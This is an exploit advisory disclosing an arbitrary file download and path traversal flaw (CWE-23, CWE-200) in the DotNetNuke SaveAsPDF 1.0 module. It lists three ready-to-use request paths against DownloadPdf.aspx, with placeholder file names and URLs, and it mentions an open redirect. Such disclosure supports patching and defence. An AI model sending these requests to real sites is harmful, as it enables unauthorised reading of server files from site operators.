DotNetNuke SaveAsPDF 1.0 Arbitrary File Download

`####################################################################  
  
# Exploit Title : DotNetNuke SaveAsPDF Modules 1.0 Arbitrary File Download  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/03/2019  
# Vendor Homepage : bizmodules.net ~ dnnsoftware.com  
# Software Information Links :  
bizmodules.net/Products/SaveasPDF/tabid/188/Default.aspx  
bizmodules.net/portals/0/downloads/sap.pdf  
# Software Version : 1.0 ~ Compatible with DNN 4.5.x and 5.0.x  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type :  
CWE-200 [ Information Exposure ]  
CWE-23 [ Relative Path Traversal ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
####################################################################  
  
# Description about Software :  
***************************  
Save As PDF (SAP) is a DotNetNuke (DNN) application designed to work in DotNetNuke   
  
websites only. SAP is used to convert a DotNetNuke page to Adobe PDF format, including   
  
texts, pictures and even flash contents.   
  
####################################################################  
  
# Impact :  
***********  
* DotNetNuke SaveAsPDF Modules 1.0 is prone to a vulnerability that lets attackers download   
  
arbitrary files because the application fails to sufficiently sanitize user-supplied input.   
  
An attacker can exploit this issue to download arbitrary files within the context of the   
  
web server process and obtain potentially sensitive informations and it works for   
  
open redirection vulnerability.  
  
* An information exposure is the intentional or unintentional disclosure of information to an actor   
  
that is not explicitly authorized to have access to that information.  
  
* The software uses external input to construct a pathname that should be within a   
  
restricted directory, but it does not properly neutralize sequences such as ".." that   
  
can resolve to a location that is outside of that directory.  
  
####################################################################  
  
# Arbitrary File Download Exploit :  
*******************************  
/DesktopModules/SaveAsPDF/DownloadPdf.aspx?url=https://www.[RANDOMWEBSITE].gov  
  
/DesktopModules/SaveAsPDF/DownloadPdf.aspx?Name=[ID-NUMBER]&Url=[FILENAME]  
  
/DesktopModules/SaveAsPDF/DownloadPdf.aspx?Name=[ID-NUMBER]&file=[FILENAME]  
  
Note : It can download any random website as pdf file in to your computer and   
  
it downloads a system files from DNNSoftware.  
  
####################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
####################################################################  
`